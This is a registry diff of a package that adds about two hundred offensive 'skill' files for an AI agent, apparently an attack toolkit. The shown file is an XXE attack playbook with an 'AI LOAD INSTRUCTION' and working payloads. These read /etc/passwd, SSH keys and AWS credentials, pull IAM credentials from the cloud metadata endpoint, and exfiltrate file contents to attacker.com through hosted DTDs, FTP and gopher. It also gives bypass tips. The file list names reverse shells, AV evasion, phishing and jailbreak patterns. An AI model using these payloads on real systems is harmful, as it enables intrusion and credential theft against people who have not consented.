ineedcodes 1.6.1 → 1.7.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +5 -3
- package/src/skills.js +37 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,554 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: xxe-xml-external-entity
|
|
3
|
+
description: >-
|
|
4
|
+
XXE playbook. Use when XML, SVG, OOXML, SOAP, or parser-driven imports may resolve external entities, files, or internal network resources.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: XML External Entity Injection (XXE) — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert XXE techniques. Covers all injection contexts (SOAP, REST JSON→XML parsers, Office files, SVG), OOB exfiltration (critical when direct read fails), blind XXE detection, and XXE-to-SSRF chain. Base models often miss OOB and non-XML context XXE. For real-world CVE chains, Office docx XXE step-by-step, PHP expect:// RCE, and Solr XXE+RCE, load the companion [SCENARIOS.md](./SCENARIOS.md).
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
Also load:
|
|
14
|
+
|
|
15
|
+
- [upload insecure files](../upload-insecure-files/SKILL.md) when XXE is reachable through SVG, OOXML, import, or preview pipelines
|
|
16
|
+
|
|
17
|
+
### Extended Scenarios
|
|
18
|
+
|
|
19
|
+
Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
|
|
20
|
+
- Apache Solr XXE + RCE chain (CVE-2017-12629) — XXE to read config, then VelocityResponseWriter for RCE
|
|
21
|
+
- Office docx XXE step-by-step — unzip → inject DOCTYPE into `word/document.xml` or `[Content_Types].xml` → repackage → upload
|
|
22
|
+
- DOCTYPE-based blind SSRF — `PUBLIC` external DTD reference triggers HTTP callback without entity reflection
|
|
23
|
+
- PHP `expect://` protocol via XXE — direct command execution when expect extension is installed
|
|
24
|
+
- Blind XXE via error messages — force file path error that leaks content in exception text
|
|
25
|
+
- XXE in SOAP web services — inject entities into SOAP Envelope/Body elements
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## 1. CLASSIC XXE PAYLOAD
|
|
30
|
+
|
|
31
|
+
```xml
|
|
32
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
33
|
+
<!DOCTYPE foo [
|
|
34
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
35
|
+
]>
|
|
36
|
+
<root><data>&xxe;</data></root>
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
If `/etc/passwd` reflects in response → confirmed file read.
|
|
40
|
+
|
|
41
|
+
---
|
|
42
|
+
|
|
43
|
+
## 2. ATTACK SURFACE DISCOVERY
|
|
44
|
+
|
|
45
|
+
### Direct XML Inputs
|
|
46
|
+
- SOAP endpoints (`text/xml`, `application/soap+xml`)
|
|
47
|
+
- REST APIs accepting `application/xml`
|
|
48
|
+
- File upload: `.xlsx`, `.docx`, `.pptx` (Office Open XML)
|
|
49
|
+
- SVG uploads (SVG is XML)
|
|
50
|
+
- RSS/Atom feed parsers
|
|
51
|
+
- Web services with XML config import
|
|
52
|
+
|
|
53
|
+
### Non-Obvious XML Processing
|
|
54
|
+
Change `Content-Type` header on **any** JSON POST to:
|
|
55
|
+
```
|
|
56
|
+
Content-Type: application/xml
|
|
57
|
+
```
|
|
58
|
+
Then rewrite body as XML — many backends use dual-format parsers or auto-detect.
|
|
59
|
+
|
|
60
|
+
### PDF Generators
|
|
61
|
+
Some HTML→PDF tools (wkhtmltopdf, PrinceXML) execute SSRF via embedded URLs but also parse external entities in SVG/XML included in the HTML.
|
|
62
|
+
|
|
63
|
+
---
|
|
64
|
+
|
|
65
|
+
## 3. OOB (OUT-OF-BAND) XXE — CRITICAL
|
|
66
|
+
|
|
67
|
+
Use when direct entity reflection fails (server parses but doesn't echo entity content):
|
|
68
|
+
|
|
69
|
+
### Step 1: Blind detection
|
|
70
|
+
```xml
|
|
71
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP_COLLABORATOR/">]>
|
|
72
|
+
<root>&xxe;</root>
|
|
73
|
+
```
|
|
74
|
+
DNS/HTTP hit to collaborator → confirms XXE (even if no file content returned).
|
|
75
|
+
|
|
76
|
+
### Step 2: OOB file exfiltration via attacker-hosted DTD
|
|
77
|
+
**Attacker's server hosts a malicious DTD** at `http://attacker.com/evil.dtd`:
|
|
78
|
+
```xml
|
|
79
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
80
|
+
<!ENTITY % exfil "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
|
|
81
|
+
%exfil;
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
**Payload sent to target**:
|
|
85
|
+
```xml
|
|
86
|
+
<?xml version="1.0"?>
|
|
87
|
+
<!DOCTYPE foo [
|
|
88
|
+
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
|
|
89
|
+
%dtd;
|
|
90
|
+
]>
|
|
91
|
+
<root>&exfiltrate;</root>
|
|
92
|
+
```
|
|
93
|
+
File contents appear in attacker's HTTP server request log.
|
|
94
|
+
|
|
95
|
+
### Step 3: Error-based OOB (alternative when HTTP blocked)
|
|
96
|
+
Use intentional error to leak data in error message:
|
|
97
|
+
```xml
|
|
98
|
+
<!-- attacker.com/error.dtd -->
|
|
99
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
100
|
+
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///NONEXISTENT/%file;'>">
|
|
101
|
+
%eval;
|
|
102
|
+
%error;
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## 4. XXE FILE READ TARGETS
|
|
108
|
+
|
|
109
|
+
**Linux**:
|
|
110
|
+
```
|
|
111
|
+
/etc/passwd
|
|
112
|
+
/etc/shadow (requires root)
|
|
113
|
+
/etc/hosts
|
|
114
|
+
/proc/self/environ ← environment variables (DB creds, API keys)
|
|
115
|
+
/proc/self/cmdline ← process command line
|
|
116
|
+
/var/log/apache2/access.log ← may contain passwords in URLs
|
|
117
|
+
/home/USER/.ssh/id_rsa ← SSH private key
|
|
118
|
+
/home/USER/.aws/credentials ← AWS keys
|
|
119
|
+
/home/USER/.bash_history
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
**Windows**:
|
|
123
|
+
```
|
|
124
|
+
C:\Windows\System32\drivers\etc\hosts
|
|
125
|
+
C:\inetpub\wwwroot\web.config ← ASP.NET connection strings
|
|
126
|
+
C:\xampp\htdocs\wp-config.php ← WordPress DB credentials
|
|
127
|
+
C:\Users\Administrator\.ssh\id_rsa
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
---
|
|
131
|
+
|
|
132
|
+
## 5. SVG XXE (file upload context)
|
|
133
|
+
|
|
134
|
+
When SVG uploads are accepted and served/processed:
|
|
135
|
+
```xml
|
|
136
|
+
<?xml version="1.0" standalone="yes"?>
|
|
137
|
+
<!DOCTYPE svg [
|
|
138
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
139
|
+
]>
|
|
140
|
+
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="100">
|
|
141
|
+
<text font-size="16">&xxe;</text>
|
|
142
|
+
</svg>
|
|
143
|
+
```
|
|
144
|
+
Upload as `.svg` → `GET /uploads/file.svg` → file contents in response.
|
|
145
|
+
|
|
146
|
+
---
|
|
147
|
+
|
|
148
|
+
## 6. OFFICE FILE XXE (docx/xlsx/pptx)
|
|
149
|
+
|
|
150
|
+
Office files are ZIP archives containing XML. Inject into `[Content_Types].xml` or `word/document.xml`:
|
|
151
|
+
|
|
152
|
+
```bash
|
|
153
|
+
# Step 1: extract
|
|
154
|
+
unzip original.docx -d extracted/
|
|
155
|
+
|
|
156
|
+
# Step 2: edit word/document.xml — add malicious DTD
|
|
157
|
+
# Add after <?xml version="1.0" encoding="UTF-8" standalone="yes"?>:
|
|
158
|
+
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
159
|
+
# Then use &xxe; inside document text
|
|
160
|
+
|
|
161
|
+
# Step 3: repackage
|
|
162
|
+
cd extracted && zip -r ../malicious.docx .
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
---
|
|
166
|
+
|
|
167
|
+
## 7. SOAP ENDPOINT XXE
|
|
168
|
+
|
|
169
|
+
SOAP requests parse XML by definition. Inject external entity into SOAP envelope:
|
|
170
|
+
|
|
171
|
+
```xml
|
|
172
|
+
<?xml version="1.0"?>
|
|
173
|
+
<!DOCTYPE foo [
|
|
174
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
175
|
+
]>
|
|
176
|
+
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
|
177
|
+
<soap:Body>
|
|
178
|
+
<getUser>
|
|
179
|
+
<id>&xxe;</id>
|
|
180
|
+
</getUser>
|
|
181
|
+
</soap:Body>
|
|
182
|
+
</soap:Envelope>
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
---
|
|
186
|
+
|
|
187
|
+
## 8. XXE → SSRF CHAIN
|
|
188
|
+
|
|
189
|
+
XXE external entity can point to internal HTTP endpoints (identical to SSRF):
|
|
190
|
+
```xml
|
|
191
|
+
<!DOCTYPE foo [
|
|
192
|
+
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
|
|
193
|
+
]>
|
|
194
|
+
<root>&xxe;</root>
|
|
195
|
+
```
|
|
196
|
+
This combines XXE file read + SSRF into a single payload.
|
|
197
|
+
|
|
198
|
+
---
|
|
199
|
+
|
|
200
|
+
## 9. XInclude ATTACK
|
|
201
|
+
|
|
202
|
+
When server-side processes XInclude (import XML from another source), but you can't control the DOCTYPE:
|
|
203
|
+
```xml
|
|
204
|
+
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
|
|
205
|
+
<xi:include href="file:///etc/passwd" parse="text"/>
|
|
206
|
+
</foo>
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
Works in: Apache Cocoon, Xerces-J, libxml2 with XInclude support enabled.
|
|
210
|
+
|
|
211
|
+
---
|
|
212
|
+
|
|
213
|
+
## 10. PROTOCOL HANDLERS IN XXE
|
|
214
|
+
|
|
215
|
+
```xml
|
|
216
|
+
<!-- HTTP (SSRF) -->
|
|
217
|
+
<!ENTITY xxe SYSTEM "http://internal.company.com/admin/">
|
|
218
|
+
|
|
219
|
+
<!-- File read -->
|
|
220
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
221
|
+
|
|
222
|
+
<!-- PHP wrapper (if PHP with libxml2) -->
|
|
223
|
+
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
|
|
224
|
+
<!-- Decode base64 in response to get file contents -->
|
|
225
|
+
|
|
226
|
+
<!-- FTP (exfil / port scan) -->
|
|
227
|
+
<!ENTITY xxe SYSTEM "ftp://attacker.com:21/x">
|
|
228
|
+
|
|
229
|
+
<!-- Gopher (Redis, SMTP) -->
|
|
230
|
+
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/info%0d%0a">
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
---
|
|
234
|
+
|
|
235
|
+
## 11. BYPASSING DEFENSES
|
|
236
|
+
|
|
237
|
+
### Parser blocks DOCTYPE
|
|
238
|
+
Try XInclude (no DOCTYPE needed, see §9).
|
|
239
|
+
|
|
240
|
+
### Only allows specific XML schemas
|
|
241
|
+
If schema validation occurs: inject comments or CDATA after schema validation but before entity processing.
|
|
242
|
+
|
|
243
|
+
### Response encoding issues (binary in response)
|
|
244
|
+
Use PHP filter for base64:
|
|
245
|
+
```xml
|
|
246
|
+
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
|
|
247
|
+
```
|
|
248
|
+
|
|
249
|
+
### Network restrictions on OOB
|
|
250
|
+
Use DNS-only OOB via `SYSTEM "file://HASH.attacker.com"` — no HTTP required, DNS lookup leaks data.
|
|
251
|
+
|
|
252
|
+
---
|
|
253
|
+
|
|
254
|
+
## 12. QUICK DETECTION CHECKLIST
|
|
255
|
+
|
|
256
|
+
```
|
|
257
|
+
□ Find XML input point (or JSON→XML transformation)
|
|
258
|
+
□ Send basic entity: <!ENTITY xxe "test"> → &xxe; in body → does "test" reflect?
|
|
259
|
+
□ If yes → file read: SYSTEM "file:///etc/passwd"
|
|
260
|
+
□ If no reflection → OOB test via Collaborator URL
|
|
261
|
+
□ If OOB hit → set up attacker DTD for file exfiltration
|
|
262
|
+
□ Try SVG upload with XXE
|
|
263
|
+
□ Try Content-Type: application/xml on JSON endpoints
|
|
264
|
+
□ Try XInclude if DOCTYPE-based fails
|
|
265
|
+
```
|
|
266
|
+
|
|
267
|
+
---
|
|
268
|
+
|
|
269
|
+
## 13. LOCAL DTD INJECTION (BLIND XXE AMPLIFICATION)
|
|
270
|
+
|
|
271
|
+
When external entities are blocked but local DTD files exist on the server:
|
|
272
|
+
|
|
273
|
+
### Technique
|
|
274
|
+
|
|
275
|
+
```xml
|
|
276
|
+
<!-- Override an entity defined in a LOCAL DTD file -->
|
|
277
|
+
<!DOCTYPE foo [
|
|
278
|
+
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
|
279
|
+
<!ENTITY % ISOamso '
|
|
280
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
281
|
+
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
|
|
282
|
+
%eval;
|
|
283
|
+
%error;
|
|
284
|
+
'>
|
|
285
|
+
%local_dtd;
|
|
286
|
+
]>
|
|
287
|
+
```
|
|
288
|
+
|
|
289
|
+
### Common Local DTD Paths
|
|
290
|
+
|
|
291
|
+
#### Linux
|
|
292
|
+
|
|
293
|
+
```
|
|
294
|
+
/usr/share/yelp/dtd/docbookx.dtd # GNOME Help
|
|
295
|
+
/usr/share/xml/fontconfig/fonts.dtd # Fontconfig
|
|
296
|
+
/usr/share/sgml/docbook/xml-dtd-*/docbookx.dtd
|
|
297
|
+
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
|
|
298
|
+
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
|
|
299
|
+
/usr/share/struts/struts-config_1_0.dtd # Apache Struts
|
|
300
|
+
/usr/share/nmap/nmap.dtd # Nmap
|
|
301
|
+
/opt/zaproxy/xml/alert.dtd # OWASP ZAP
|
|
302
|
+
```
|
|
303
|
+
|
|
304
|
+
#### Windows
|
|
305
|
+
|
|
306
|
+
```
|
|
307
|
+
C:\Windows\System32\wbem\xml\cim20.dtd # WMI
|
|
308
|
+
C:\Windows\System32\wbem\xml\wmi20.dtd # WMI
|
|
309
|
+
C:\Program Files\IBM\WebSphere\*.dtd # WebSphere
|
|
310
|
+
C:\Program Files (x86)\Lotus\*.dtd # Lotus Notes
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
#### Inside JAR Files (Java Applications)
|
|
314
|
+
|
|
315
|
+
```
|
|
316
|
+
jar:file:///usr/share/java/tomcat-*.jar!/javax/servlet/resources/web-app_2_3.dtd
|
|
317
|
+
jar:file:///opt/wildfly/modules/*.jar!/org/jboss/as/*.dtd
|
|
318
|
+
file:///usr/share/java/struts2-core-*.jar!/struts-2.5.dtd
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
### Why This Works
|
|
322
|
+
|
|
323
|
+
- External connections blocked (firewall/WAF/egress filter)
|
|
324
|
+
- But file:// to LOCAL files is usually allowed
|
|
325
|
+
- Local DTD is trusted → entity overrides inject attacker-controlled definitions
|
|
326
|
+
- Error messages or blind extraction via file:// still works
|
|
327
|
+
|
|
328
|
+
---
|
|
329
|
+
|
|
330
|
+
## 14. ADDITIONAL OOB EXFILTRATION CHANNELS
|
|
331
|
+
|
|
332
|
+
### FTP-based exfiltration (line-by-line)
|
|
333
|
+
|
|
334
|
+
FTP protocol sends data line-by-line, making it useful for multi-line file exfiltration when HTTP-based OOB truncates at newlines:
|
|
335
|
+
|
|
336
|
+
```xml
|
|
337
|
+
<!-- attacker.com/ftp-exfil.dtd -->
|
|
338
